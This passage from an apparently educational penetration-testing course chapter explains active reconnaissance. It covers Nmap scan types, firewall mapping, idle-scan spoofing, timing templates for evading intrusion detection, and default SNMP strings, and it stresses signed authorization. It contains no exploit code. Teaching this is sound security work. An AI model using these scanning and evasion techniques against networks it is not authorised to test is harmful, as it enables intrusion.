&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;3.2.1 Overview — What Active Reconnaissance Really Means&lt;/li&gt;
&lt;li&gt;3.2.2 Nmap Scan Types — The Deep Dive&lt;/li&gt;
&lt;li&gt;3.2.3 Practice — Nmap in a Real Engagement Context&lt;/li&gt;
&lt;li&gt;3.2.4 Types of Enumeration — Extracting Intelligence from Open Ports&lt;/li&gt;
&lt;li&gt;3.2.5 Enumeration via Packet Crafting with Scapy&lt;/li&gt;
&lt;li&gt;3.2.6 Lab Reference — Enumeration with Nmap&lt;/li&gt;
&lt;li&gt;3.2.7 Packet Inspection and Eavesdropping&lt;/li&gt;
&lt;li&gt;3.2.8 Practice — Packet Inspection in a Real Scenario&lt;/li&gt;
&lt;li&gt;3.2.9 Packet Crafting with Scapy — Full Professional Reference&lt;/li&gt;
&lt;li&gt;3.2.10 Network Sniffing with Wireshark — The Complete Guide&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  3.2.1 Overview — What Active Reconnaissance Really Means
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The Moment Everything Changes
&lt;/h3&gt;

&lt;p&gt;There is a very clear line in a penetration testing engagement. Before that line, everything you do is invisible to the target — you are reading public records, browsing archived websites, looking at job listings. You leave no trace, you generate no alerts, and you are at zero legal risk. That is passive reconnaissance.&lt;/p&gt;

&lt;p&gt;The moment you cross into active reconnaissance, everything changes. You send packets. Those packets arrive at real machines. Those machines log the connection. Firewalls potentially block and alert on the traffic. Intrusion detection systems start correlating what they see. The target's defenders, if they are watching, now have evidence that someone is probing their network.&lt;/p&gt;

&lt;p&gt;This is why the signed authorization document — the Rules of Engagement — is not just a formality. It is the legal instrument that transforms what would be a criminal offense into legitimate, contracted security work. A penetration tester who begins active reconnaissance before the contract is signed is not an ethical hacker. They are committing an offense under the Computer Fraud and Abuse Act in the United States, the Computer Misuse Act in the United Kingdom, and equivalent laws in virtually every other jurisdiction.&lt;/p&gt;

&lt;p&gt;So active reconnaissance starts the moment both parties have signed off and the testing window has opened — not a minute earlier.&lt;/p&gt;
&lt;h3&gt;
  
  
  What Makes Active Reconnaissance Valuable
&lt;/h3&gt;

&lt;p&gt;Think about what passive reconnaissance gives you. You have learned from LinkedIn that the company uses AWS, has a Kubernetes infrastructure team, and recently posted a job for a "Senior Microsoft 365 Administrator." You found some subdomains via certificate transparency logs. You checked their DNS records and discovered they use Microsoft 365 for email. This is valuable — but it is secondhand information. It tells you what the company claims or appears to have, not what is actually running and accessible right now.&lt;/p&gt;

&lt;p&gt;Active reconnaissance answers the question that matters most in a penetration test: &lt;strong&gt;what is actually exposed and reachable at this moment?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A company might have decommissioned a server six months ago but still have it in their DNS records because nobody updated the documentation. Active reconnaissance reveals it is gone — the IP does not respond. Conversely, that same company might have a test server that was stood up last week, never documented anywhere publicly, but actively listening on port 8080 with default credentials. Passive reconnaissance will never find it. An active scan of their IP range will.&lt;/p&gt;

&lt;p&gt;This is the power of active reconnaissance: it shows you the real attack surface, not the documented or intended one.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Pixel Paradise Network — Understanding Your Target
&lt;/h3&gt;

&lt;p&gt;In the Protego / Pixel Paradise engagement scenario, the network contains a rich mix of device types:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User endpoints&lt;/strong&gt; include desktops, laptops, mobile devices, and gaming consoles. From a penetration testing perspective, these are interesting because they run user-side software (browsers, email clients, productivity tools) and often have weaker configurations than servers. They are also the primary target of social engineering and client-side attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Facilities endpoints&lt;/strong&gt; include surveillance cameras, alarm systems, climate control sensors, lighting systems, and VoIP phones. This category — often called Operational Technology (OT) or IoT in enterprise environments — is enormously significant in modern penetration testing. These devices frequently run embedded operating systems, have no patching mechanism, use default credentials, and communicate over unencrypted protocols. A security camera on the same network segment as a database server is not just a surveillance device — it is a potential pivot point.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Intermediary devices&lt;/strong&gt; are routers and switches. Compromising a router gives visibility into all traffic flowing through it and often allows traffic manipulation. Switches, particularly managed switches, can be exploited through VLAN hopping and ARP poisoning techniques.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireless access points&lt;/strong&gt; provide Wi-Fi. The security of the wireless authentication mechanism (WPA2-PSK, WPA2-Enterprise, WPA3) determines how difficult it is to gain network access without a wired connection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Firewalls&lt;/strong&gt; protect the perimeter and potentially segment internal networks. Understanding how a firewall is configured — what it allows, what it blocks, and whether it performs stateful inspection — fundamentally shapes the attack strategy.&lt;/p&gt;

&lt;p&gt;Active reconnaissance maps all of these devices systematically.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Active Reconnaissance Methodology
&lt;/h3&gt;

&lt;p&gt;Active reconnaissance is not random scanning. Professional practitioners follow a structured methodology that builds intelligence layer by layer:&lt;/p&gt;

&lt;p&gt;The first step is &lt;strong&gt;host discovery&lt;/strong&gt; — determining which IP addresses in the target range have live hosts. There is no point scanning 65,535 ports on every address in a /16 network (65,534 IP addresses) when perhaps only 200 of those addresses actually have devices on them. Host discovery narrows the field before the intensive work begins.&lt;/p&gt;

&lt;p&gt;The second step is &lt;strong&gt;port scanning&lt;/strong&gt; — for each live host, determining which TCP and UDP ports are in an open, closed, or filtered state. This tells you what services the device is offering to the network.&lt;/p&gt;

&lt;p&gt;The third step is &lt;strong&gt;service and version detection&lt;/strong&gt; — determining not just that port 443 is open, but that it is running nginx 1.18.0 on Ubuntu 20.04. The specific version of every service is the direct input for vulnerability research.&lt;/p&gt;

&lt;p&gt;The fourth step is &lt;strong&gt;OS detection&lt;/strong&gt; — identifying the operating system of each host, which narrows the attack surface further and informs lateral movement strategy.&lt;/p&gt;

&lt;p&gt;The fifth step is &lt;strong&gt;enumeration&lt;/strong&gt; — for each discovered service, extracting detailed, service-specific intelligence. If you found SMB is running, enumeration extracts the list of shares, user accounts, and password policy. If SNMP is running, enumeration extracts the device's full configuration and connected network topology.&lt;/p&gt;

&lt;p&gt;Each step feeds the next, progressively building a complete picture of the target environment.&lt;/p&gt;


&lt;h2&gt;
  
  
  3.2.2 Nmap Scan Types — The Deep Dive
&lt;/h2&gt;
&lt;h3&gt;
  
  
  What Nmap Actually Is
&lt;/h3&gt;

&lt;p&gt;Nmap — Network Mapper — is the most widely used network reconnaissance tool in the world. It was created by Gordon Lyon (known online as Fyodor) in 1997 and published in Phrack Magazine Issue 51. Nearly three decades later, it remains the standard tool for network reconnaissance because it does its job extraordinarily well: it determines what is on a network, what those things are, and what they are running.&lt;/p&gt;

&lt;p&gt;But to understand Nmap deeply, you first need to understand the protocols it manipulates. You cannot use Nmap intelligently — choosing the right scan type for the right situation, interpreting results correctly, recognizing when a result might be a false positive — without understanding what is actually happening at the network level.&lt;/p&gt;
&lt;h3&gt;
  
  
  TCP — Transmission Control Protocol
&lt;/h3&gt;

&lt;p&gt;TCP is the protocol that the majority of internet applications depend on. When you load a website, send an email, or connect via SSH, you are using TCP. The reason TCP is so widely used comes down to one word: reliability.&lt;/p&gt;

&lt;p&gt;TCP is a &lt;strong&gt;connection-oriented&lt;/strong&gt; protocol. Before any data is exchanged, the two parties (let us call them Client and Server) must establish a connection through a process called the &lt;strong&gt;three-way handshake&lt;/strong&gt;. Think of it like a phone call: you dial (SYN), the other person picks up and says hello (SYN-ACK), and you acknowledge that you can hear them (ACK). Only then does the actual conversation begin.&lt;/p&gt;

&lt;p&gt;Each TCP packet carries flags in its header — small bits that indicate what type of packet this is and what the sender wants the receiver to do with it. The six classic flags are:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SYN (Synchronize)&lt;/strong&gt; — This flag says "I want to start a connection with you." It is the first packet in every new TCP connection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ACK (Acknowledge)&lt;/strong&gt; — This flag says "I received your last packet." Almost every TCP packet after the initial SYN carries an ACK, because TCP guarantees delivery by requiring every packet to be acknowledged.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;FIN (Finish)&lt;/strong&gt; — This flag says "I am done sending data and want to close this connection gracefully." Unlike RST, a FIN-based close allows the other side to finish sending whatever it still has to send before the connection terminates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RST (Reset)&lt;/strong&gt; — This flag says "Abort this connection immediately." It is an emergency stop. When a server receives a connection request to a port where nothing is listening, it sends RST. When a security device detects a suspicious connection, it may inject RST packets to force the connection closed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PSH (Push)&lt;/strong&gt; — This flag tells the receiving side to pass the data up to the application immediately rather than buffering it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;URG (Urgent)&lt;/strong&gt; — This flag indicates that part of the payload is urgent and should be processed before the rest.&lt;/p&gt;

&lt;p&gt;Understanding these flags is the foundation of understanding every Nmap scan type, because what Nmap does at its core is send specific combinations of these flags and interpret what comes back.&lt;/p&gt;
&lt;h3&gt;
  
  
  UDP — User Datagram Protocol
&lt;/h3&gt;

&lt;p&gt;UDP is TCP's simpler, faster, less reliable sibling. While TCP goes through the three-way handshake and guarantees delivery, UDP just sends packets and does not wait to confirm they arrived. This makes UDP faster and more efficient — which is why real-time applications like video streaming, online gaming, VoIP calls, and DNS queries use UDP. If you are in a video call and a packet gets lost, you do not want the video to pause while the system resends that packet — you just want to move on to the next frame. UDP enables that.&lt;/p&gt;

&lt;p&gt;For penetration testing, UDP matters enormously because UDP services are the most frequently overlooked and therefore often the least secured. Administrators focus their patching and monitoring efforts on TCP services. UDP services like SNMP (Simple Network Management Protocol), TFTP (Trivial File Transfer Protocol), and DNS often run with default configurations and weak security.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Port State System
&lt;/h3&gt;

&lt;p&gt;Before diving into specific scan types, you need to understand what Nmap is actually trying to determine: the &lt;strong&gt;state&lt;/strong&gt; of each port.&lt;/p&gt;

&lt;p&gt;A port is like a numbered door on a building. The building is the IP address. Each door (port number, 1 through 65535) can be in one of several states:&lt;/p&gt;

&lt;p&gt;An &lt;strong&gt;open&lt;/strong&gt; port means a service is actively listening behind that door. If you knock (send a packet), someone answers. Port 443 being open on a web server means there is an HTTPS service ready to accept connections.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;closed&lt;/strong&gt; port means the door exists and the building is reachable, but nobody is listening behind that specific door. The building (host) is up, but this particular service is not running. The key behavior: a closed port responds to probes — it sends back a RST packet saying "nothing here."&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;filtered&lt;/strong&gt; port is the most ambiguous state. Nmap sent a probe and received no response — but that does not mean the port is open. It might mean a firewall silently dropped the packet without sending any response. Nmap cannot distinguish between "open service that is not responding to this type of probe" and "firewall dropping packets" without additional evidence.&lt;/p&gt;

&lt;p&gt;An &lt;strong&gt;unfiltered&lt;/strong&gt; port is specifically the ACK scan result — the port is accessible, but Nmap cannot determine from an ACK probe alone whether it is open or closed.&lt;/p&gt;

&lt;p&gt;The states &lt;strong&gt;open|filtered&lt;/strong&gt; and &lt;strong&gt;closed|filtered&lt;/strong&gt; represent Nmap's honest admission that it cannot determine the exact state with the probes it sent.&lt;/p&gt;


&lt;h3&gt;
  
  
  The TCP Connect Scan (-sT)
&lt;/h3&gt;

&lt;p&gt;Imagine you are trying to determine whether a shop is open. The simplest approach is to walk up to the door, try the handle, and see if it opens. If it opens, the shop is open. If you get a "Sorry, We're Closed" sign, it is closed. If there is a security guard who stops you before you even reach the door, something is blocking you.&lt;/p&gt;

&lt;p&gt;The TCP Connect scan works exactly like this. It uses your operating system's built-in networking capability — specifically the &lt;code&gt;connect()&lt;/code&gt; system call — to attempt a full, complete connection to each target port. It does not manipulate raw packets. It just asks the operating system: "Please connect to this IP address, this port number."&lt;/p&gt;

&lt;p&gt;The operating system performs the complete three-way handshake. If the handshake succeeds (the server sends SYN-ACK and the connection is established), the port is open. Nmap then immediately closes the connection with a RST and moves to the next port. If the target sends a RST during the handshake attempt, the port is closed. If no response comes after a timeout period, the port is filtered.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why this matters:&lt;/strong&gt; Because it uses the OS networking stack rather than raw packets, the TCP Connect scan does not require administrative privileges. Anyone can run it. This makes it useful when you are testing from a machine where you do not have root or administrator access — perhaps you are testing from a standard user account on a company workstation, or from a cloud instance where your user lacks elevated privileges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The significant drawback&lt;/strong&gt; is detectability. Because the scan completes full TCP connections, every service that receives a connection logs it. Apache logs it. Microsoft IIS logs it. sshd logs it. The MySQL daemon logs it. If a security analyst reviews server logs after a &lt;code&gt;-sT&lt;/code&gt; scan, they will find a clear record of rapid sequential connections from the scanner's IP address.&lt;/p&gt;

&lt;p&gt;In a real engagement, you would use the TCP Connect scan when you literally have no choice — when you lack the privileges for a SYN scan. Otherwise, you almost always prefer the SYN scan for its speed and reduced logging footprint.&lt;/p&gt;


&lt;h3&gt;
  
  
  The SYN Scan (-sS) — Understanding the "Stealth" Concept
&lt;/h3&gt;

&lt;p&gt;The SYN scan is Nmap's default scan type when run with root privileges, and it is the most commonly used scan type in professional penetration testing. To understand why, you need to understand one key insight about how logging works in network services.&lt;/p&gt;

&lt;p&gt;Most network services only create a log entry when a connection is successfully established — that is, when the three-way handshake has completed. The thinking is: why log connection attempts that never went anywhere? Only completed connections represent real sessions and real interactions.&lt;/p&gt;

&lt;p&gt;The SYN scan exploits this behavior. Instead of completing the three-way handshake, it sends just the initial SYN packet. If the target port is open, the server responds with SYN-ACK — saying "yes, I am ready to connect." But instead of completing the handshake with an ACK, Nmap immediately sends a RST — effectively saying "never mind, abort." The connection is torn down before it is ever fully established.&lt;/p&gt;

&lt;p&gt;The result: the target's service never sees a completed connection. In many older and simpler services, no log entry is created. The probe and its result (port open or closed) are determined entirely from the SYN-ACK or RST-ACK response to the initial SYN packet, without the handshake ever completing.&lt;/p&gt;

&lt;p&gt;This is why it is called a "half-open" scan — the connection is half-opened but never completed.&lt;/p&gt;

&lt;p&gt;The "stealth" label deserves an important caveat, though. Against modern enterprise defenses — a Palo Alto NGFW, a Suricata IDS, a Cisco FirePOWER — a SYN scan is not stealthy at all. These systems inspect every packet at the wire level, not just completed connections. They detect SYN scans within seconds based on the rate and pattern of SYN packets from a single source IP. The "stealth" in "stealth scan" refers to its behavior relative to simple, service-level logging — not to modern security infrastructure.&lt;/p&gt;

&lt;p&gt;In practical terms, SYN is preferred over TCP Connect because it is faster (no need to wait for handshake completion) and generates fewer log entries in service logs. Against sophisticated defenses, you need timing manipulation and evasion techniques on top of scan type selection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requires root or administrator privileges&lt;/strong&gt; because crafting raw TCP packets (sending a SYN and then an RST rather than a normal ACK) requires direct access to the network stack at a level that the operating system only grants to privileged users.&lt;/p&gt;


&lt;h3&gt;
  
  
  The UDP Scan (-sU) — The Most Overlooked and Most Important
&lt;/h3&gt;

&lt;p&gt;UDP scanning is unglamorous, slow, and frustrating. It is also absolutely critical and frequently reveals the most interesting vulnerabilities on a network. There is a reason experienced penetration testers always run a UDP scan even when they are pressed for time.&lt;/p&gt;

&lt;p&gt;Here is the fundamental problem: UDP has no handshake. You send a UDP packet to a port. One of three things happens. First, the service running on that port receives the packet and sends a response — in which case you know the port is open. Second, nothing is running on that port, and the operating system sends back an ICMP "Port Unreachable" message — in which case you know the port is closed. Third, you receive nothing at all — which could mean the port is open but the service did not respond to your generic probe, or it could mean a firewall dropped the packet.&lt;/p&gt;

&lt;p&gt;This ambiguity is what makes UDP scanning slow. For many UDP ports, Nmap cannot send a generic probe and expect a response — it needs to send a protocol-specific probe. For DNS (port 53), it sends a DNS query. For SNMP (port 161), it sends an SNMP request. For TFTP (port 69), it sends a TFTP request. Without a protocol-appropriate probe, the service will not respond, and the port appears filtered even if it is actually wide open.&lt;/p&gt;

&lt;p&gt;On top of this, Linux and many other operating systems rate-limit the generation of ICMP Port Unreachable messages to prevent them from being used in denial-of-service attacks. If you are scanning a Linux host, it might generate at most one ICMP Port Unreachable per second. A full 65,535-port UDP scan against a Linux host will therefore take over 18 hours to complete if you are relying on ICMP responses to determine closed ports.&lt;/p&gt;

&lt;p&gt;This is why professional practice is to always limit UDP scans to the ports that matter most. The most valuable UDP services for penetration testing are:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SNMP on port 161&lt;/strong&gt; is arguably the most impactful UDP service to discover during active reconnaissance. SNMP (Simple Network Management Protocol) is used to monitor and manage network devices — routers, switches, firewalls, servers, printers — from a central management station. The protocol works by querying a database of management information called the MIB (Management Information Base). When accessed with the right community string (essentially a password), SNMP reveals the complete internal state of a device: every interface and its IP address, the routing table, every connected device it has ever communicated with (the ARP table), the list of running processes, installed software, CPU and memory utilization, and in the case of network devices, the complete configuration.&lt;/p&gt;

&lt;p&gt;The catch is that the two default community strings — "public" for read-only access and "private" for read-write access — are still in use across millions of devices worldwide because administrators never changed them. Finding SNMP open with the default "public" community string on a network device is one of the most impactful findings in a penetration test: it reveals the entire network topology instantly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS on port 53&lt;/strong&gt; is present on every DNS server. Active DNS enumeration — which we cover in detail in the enumeration sections — can reveal zone information, internal hostnames, and occasionally enable zone transfers that dump the entire DNS database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NTP on port 123&lt;/strong&gt; (Network Time Protocol) runs on virtually every networked device. NTP vulnerabilities are occasionally critical (notably NTP amplification attacks in DDoS contexts) but more relevantly, the NTP monlist command on older implementations can dump a list of the last 600 hosts that synchronized time with the server — effectively a list of active network hosts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TFTP on port 69&lt;/strong&gt; (Trivial File Transfer Protocol) is used for network device configuration backups and OS image transfers. It has no authentication mechanism whatsoever. Finding a TFTP server during a penetration test is almost always a critical finding — TFTP servers frequently contain configuration backups of routers and switches, including their complete configurations with password hashes.&lt;/p&gt;


&lt;h3&gt;
  
  
  The FIN Scan (-sF), NULL Scan (-sN), and Xmas Scan (-sX) — RFC Exploitation
&lt;/h3&gt;

&lt;p&gt;These three scan types belong to a family sometimes called "stealth scans" or "flag manipulation scans." To understand why they exist and what they do, you need to understand RFC 793 — the original specification for TCP published in 1981.&lt;/p&gt;

&lt;p&gt;RFC 793 defines how a TCP implementation should respond when it receives a packet that does not match any existing connection. The rule is:&lt;/p&gt;

&lt;p&gt;If a port is &lt;strong&gt;closed&lt;/strong&gt; and receives any packet that does not have the RST flag set, the receiving system should send back a RST packet.&lt;/p&gt;

&lt;p&gt;If a port is &lt;strong&gt;open&lt;/strong&gt; and receives a packet that does not have the SYN flag set (meaning it is not a legitimate connection initiation), the packet should simply be discarded — ignored entirely. The rationale is that a packet arriving at an open port without being part of a valid connection sequence is malformed or out of order, and the correct behavior is to ignore it.&lt;/p&gt;

&lt;p&gt;The FIN, NULL, and Xmas scans exploit this asymmetry. They send packets that have no valid role in a normal TCP connection to a closed port, they should get an RST back. To an open port, they should get nothing — the packet is discarded.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;FIN scan&lt;/strong&gt; sends a TCP packet with only the FIN flag set. Normally, FIN is sent to close an established connection. Sending FIN to a port with no established connection is technically illegal under TCP semantics.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;NULL scan&lt;/strong&gt; sends a TCP packet with no flags set at all — every flag bit is zero. This is the most illegal of all, since no valid TCP packet has all flags empty.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Xmas scan&lt;/strong&gt; sends a TCP packet with FIN, PSH (Push), and URG (Urgent) all set simultaneously. The name comes from the image of a packet "lit up like a Christmas tree" with flags.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The critical limitation:&lt;/strong&gt; Microsoft Windows does not implement RFC 793's behavior for these anomalous packets. Windows sends RST in response to FIN, NULL, and Xmas probes regardless of whether the port is open or closed. This means these three scan types are fundamentally non-functional against Windows targets — every port appears closed. Against Linux, Unix, and BSD targets, they work as described.&lt;/p&gt;

&lt;p&gt;The practical value of these scans today is primarily in two scenarios. First, they can bypass very simple, stateless packet filters that only look for SYN packets as the indicator of new connections — a filter that blocks SYN packets might pass a FIN or NULL packet right through. Second, in certain compliance or forensic contexts, they provide evidence about a firewall's stateless versus stateful nature.&lt;/p&gt;


&lt;h3&gt;
  
  
  The ACK Scan (-sA) — Not for Finding Open Ports
&lt;/h3&gt;

&lt;p&gt;The ACK scan is fundamentally different from everything discussed so far. It does not tell you whether ports are open or closed. Instead, it tells you which ports are &lt;strong&gt;filtered&lt;/strong&gt; versus &lt;strong&gt;unfiltered&lt;/strong&gt; — mapping the firewall's ruleset.&lt;/p&gt;

&lt;p&gt;When you send a TCP packet with only the ACK flag set to a target, you are sending a packet that looks like it belongs to an already-established connection. The target knows nothing about an existing connection, so it would normally respond with RST to both open and closed ports — because an unexpected ACK from an unknown connection should be rejected.&lt;/p&gt;

&lt;p&gt;A firewall is the variable. If a stateful firewall sees an ACK packet for a connection it has no record of, it drops the packet. If no firewall (or a stateless firewall) is in the path, the ACK reaches the host and gets a RST back.&lt;/p&gt;

&lt;p&gt;So: RST response means unfiltered. No response means filtered.&lt;/p&gt;

&lt;p&gt;By comparing SYN scan results (which ports are open) with ACK scan results (which ports are filtered), you can map the firewall's behavior precisely. A port that is open in the SYN scan but filtered in the ACK scan suggests a stateful firewall that tracks connections. A port that is filtered in both suggests a firewall blocking everything on that port. A port that is open in the SYN scan and unfiltered in the ACK scan suggests no firewall filtering on that port.&lt;/p&gt;

&lt;p&gt;This intelligence is used for firewall evasion strategy — specifically, it reveals whether a stateless or stateful firewall is in use and which ports are controlled by firewall rules versus host-based filtering.&lt;/p&gt;


&lt;h3&gt;
  
  
  The Host Discovery Scan (-sn) — Finding Who Is Home
&lt;/h3&gt;

&lt;p&gt;Before scanning ports on every IP in a /16 network (65,534 addresses), you need to know which of those addresses actually have live devices. The host discovery scan — run with the &lt;code&gt;-sn&lt;/code&gt; flag — does exactly this: it determines which IP addresses have responding hosts without performing any port scanning.&lt;/p&gt;

&lt;p&gt;On a &lt;strong&gt;local network&lt;/strong&gt; (where the scanner and targets are on the same subnet), Nmap uses ARP (Address Resolution Protocol) requests when run as root. ARP operates at Layer 2 of the network model — below IP, below TCP, at the Ethernet level. An ARP request asks: "Which device on this local network has this IP address? Please tell me your MAC address."&lt;/p&gt;

&lt;p&gt;ARP requests bypass host-based firewalls entirely. A host running Windows Firewall with all rules set to block incoming connections still must respond to ARP requests — otherwise it cannot communicate on the network at all. If you are on the same subnet as your targets, ARP-based host discovery is essentially immune to firewall evasion attempts.&lt;/p&gt;

&lt;p&gt;The additional bonus: ARP responses include the target's MAC address, and the first three bytes of a MAC address are the OUI (Organizationally Unique Identifier) — a vendor code assigned by the IEEE. This means an ARP scan result tells you not just that a host is live, but what type of device it likely is. A MAC starting with &lt;code&gt;00:50:56&lt;/code&gt; indicates a VMware virtual machine. &lt;code&gt;B8:27:EB&lt;/code&gt; indicates a Raspberry Pi. &lt;code&gt;3C:D9:2B&lt;/code&gt; indicates an HP device. This vendor identification is immediate intelligence about the nature of the discovered hosts.&lt;/p&gt;

&lt;p&gt;On a &lt;strong&gt;remote network&lt;/strong&gt; (targets are across a router), ARP does not work — it is a local network protocol. Instead, Nmap uses a combination of techniques: ICMP echo requests (traditional ping), TCP SYN to port 443, TCP ACK to port 80, and ICMP timestamp requests. The logic is that even if a host blocks ICMP ping, it might respond to TCP connections on common ports. Using multiple probe types maximizes the probability of detecting live hosts even through partial filtering.&lt;/p&gt;

&lt;p&gt;In a professional engagement, host discovery is run first with speed prioritized — using parallel probes and fast timeouts. The output (a list of live IPs) is saved to a file, which then becomes the input for full port scanning.&lt;/p&gt;


&lt;h3&gt;
  
  
  The Idle Scan (-sI) — True Anonymity in Port Scanning
&lt;/h3&gt;

&lt;p&gt;The Idle scan is one of the most sophisticated techniques in network security research. It allows a penetration tester to scan a target without the target ever seeing the scanner's IP address. Instead, all probes appear to originate from a third, unrelated host — called the "zombie."&lt;/p&gt;

&lt;p&gt;The technique relies on a subtle property of IP packets: each IP packet contains an &lt;strong&gt;ID field&lt;/strong&gt; (IPID) — a number that is incremented for each packet a host sends. On some systems, particularly older ones, this counter increments predictably and globally — every packet the system sends, regardless of destination, increments the counter by one.&lt;/p&gt;

&lt;p&gt;The attack works as follows. First, the scanner sends a probe to the zombie to learn its current IPID value. Then, the scanner sends a SYN packet to the target but spoofs the source address — making it look like the packet came from the zombie. If the target port is open, it sends a SYN-ACK back to the zombie (thinking the zombie initiated the connection). The zombie, receiving an unexpected SYN-ACK, sends a RST back to the target — and increments its IPID counter. When the scanner checks the zombie's IPID again, it has gone up by two (once for the scanner's initial probe, once for the zombie's RST to the target). If the target port is closed, it sends RST to the zombie, the zombie ignores it, and the IPID only increases by one.&lt;/p&gt;

&lt;p&gt;The scanner never sends a single packet to the target from its own IP address. From the target's logs, only the zombie's IP appears. This technique is described in detail in Phrack Magazine and was a fundamental advance in network security research — it demonstrated that port scanning could be completely anonymous given the right conditions.&lt;/p&gt;

&lt;p&gt;Modern operating systems no longer use globally sequential IPIDs (they use per-connection sequences or random values), which makes finding suitable zombie hosts increasingly difficult. The technique remains important to understand because it illustrates a deep principle: protocol properties that appear benign in isolation can be exploited in combination to achieve something their designers never intended.&lt;/p&gt;


&lt;h3&gt;
  
  
  Timing Options (-T0 through -T5) — Speed, Stealth, and the Art of the Tradeoff
&lt;/h3&gt;

&lt;p&gt;Every penetration test involves a fundamental tension between speed and stealth. Scanning quickly means generating traffic rapidly, which means security devices can detect a clear pattern. Scanning slowly means staying below detection thresholds but taking potentially days or weeks to complete.&lt;/p&gt;

&lt;p&gt;Nmap's timing templates are a high-level abstraction over a complex set of parameters that control how quickly probes are sent, how long to wait for responses, and how many probes to send in parallel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Paranoid (-T0)&lt;/strong&gt; sends one probe every five minutes. To scan a thousand ports at this speed takes over three days. No time-based correlation system — no SIEM, no IDS — can detect this as a scan because the packets are so spread out in time that they appear to be normal, sporadic traffic. This is used in extraordinarily sensitive engagements where detection must be avoided at all costs, or in research contexts where patience is available.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sneaky (-T1)&lt;/strong&gt; sends one probe every fifteen seconds. Still very slow, still effective at evading most time-based detection. A thousand-port scan takes around four hours.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Polite (-T2)&lt;/strong&gt; slows down enough to avoid saturating the target network with probe traffic. It is more about being considerate of network bandwidth than about evasion. Useful when scanning production environments where causing network slowdowns would be noticed as operational disruption rather than security events.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Normal (-T3)&lt;/strong&gt; is Nmap's default. It dynamically adjusts timing based on observed network conditions — if responses are coming back quickly, it sends probes faster; if there are timeouts, it slows down. A typical LAN scan completes in tens of seconds to a few minutes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Aggressive (-T4)&lt;/strong&gt; assumes a fast, reliable network. It shortens timeouts and increases parallelism significantly. This is the timing most commonly used in internal network assessments on LAN environments, CTF competitions, and lab environments where speed matters and stealth is not a concern.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Insane (-T5)&lt;/strong&gt; pushes everything to the limit. Timeouts are extremely short, parallelism is maximized. The risk is that on slower or congested networks, probes time out before responses arrive, leading to ports being classified as filtered when they are actually open. Results from T5 scans should be verified with a slower timing setting if unusual results appear.&lt;/p&gt;

&lt;p&gt;In a real engagement, the timing selection communicates something about the tester's strategy. External tests against a production web application might use T1 or T2 to stay under intrusion detection thresholds. Internal tests on a fast corporate LAN typically use T3 or T4. Red team engagements simulating advanced persistent threats use T0 or T1 during initial reconnaissance phases.&lt;/p&gt;


&lt;h3&gt;
  
  
  OS Detection, Version Detection, and the NSE — Completing the Picture
&lt;/h3&gt;

&lt;p&gt;Beyond scan types, three additional Nmap capabilities deserve deep understanding because they transform raw port data into actionable intelligence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Service and Version Detection (-sV)&lt;/strong&gt; sends protocol-specific probes to each open port and compares the responses against a database of known service signatures. Instead of just knowing that port 8080 is open, version detection tells you it is running Apache Tomcat 9.0.37. That specific version number is then searchable against vulnerability databases — and Tomcat 9.0.37 happens to be vulnerable to CVE-2021-41079, a denial-of-service vulnerability. The jump from "port 8080 is open" to "this specific Tomcat version has a known CVE" happens because of version detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OS Detection (-O)&lt;/strong&gt; works by analyzing subtle differences in how different operating systems implement TCP/IP. The initial sequence number (ISN) values that systems generate, the TCP options they include in packets, their response to unusual flag combinations, their IP TTL values, and their behavior with fragmented packets all vary between Windows, Linux, macOS, Cisco IOS, and other systems. Nmap maintains a database of these behavioral fingerprints. When it probes a host, it compares the observed behavior to the database and identifies the most likely OS — often with remarkable specificity, identifying not just "Linux" but "Linux 4.15-5.6" or not just "Windows" but "Windows 10 1903-1909."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Nmap Scripting Engine (NSE)&lt;/strong&gt; extends Nmap from a port scanner into a security assessment platform. Scripts are Lua programs that Nmap executes against discovered services. The default script set (&lt;code&gt;-sC&lt;/code&gt;) runs safe, commonly useful scripts automatically. More targeted scripts can check for specific vulnerabilities: the &lt;code&gt;smb-vuln-ms17-010&lt;/code&gt; script checks whether a target is vulnerable to EternalBlue (the exploit used by WannaCry and NotPetya). The &lt;code&gt;ssl-heartbleed&lt;/code&gt; script checks for the Heartbleed vulnerability. The &lt;code&gt;snmp-brute&lt;/code&gt; script attempts to determine the SNMP community string using a wordlist.&lt;/p&gt;


&lt;h2&gt;
  
